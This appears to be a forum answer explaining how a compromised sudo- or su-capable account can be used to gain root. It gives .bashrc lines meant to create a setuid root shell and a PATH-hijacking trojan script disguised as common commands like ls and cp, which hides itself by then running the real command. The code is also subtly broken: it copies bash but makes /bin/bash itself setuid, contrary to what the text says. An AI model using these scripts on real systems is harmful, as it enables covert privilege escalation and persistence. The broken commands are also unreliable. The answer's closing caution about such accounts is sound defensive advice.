sudo -s
executes the users .bashrc. If you have access to that users account you can add lines to this bashrc that will be ran as root.
# ~/.bashrc
cp /bin/bash /bin/something_else
chmod 4755 /bin/bash
I'd add something like that in, create a setuid copy of bash, so that I could run it later.
Edit: the question now seems to ask about cases where sudo isn't used.
First trick that comes to mind if i wanted to root privileges from a user using su would be to modify their path.
# echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin
$ export PATH=/tmp:$PATH
su
# echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin
That's running fedora 11 with bash 4. Configs for su, shell environment stuff are pretty much default.
As you can see, I was able to change the path as the regular user, and this path wasn't reset by su (note su -
would have reset it). Change their path in their shell rc, then put my own script into the new directory at the top of the path. Make a few copies (or symlinks) of it with names like ls, cp, mv, things that get ran often.
#!/bin/bash
# make a shell for later
cp /bin/bash /bin/something_else
chmod 4755 /bin/bash
# cause more trouble
...
# now run the real command so the user doesn't notice
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin
exec $0 $*
Anyway, these are just examples, there's undoubtedly other similar scenarios. I think the point is that accounts which can su or sudo are something to be careful with.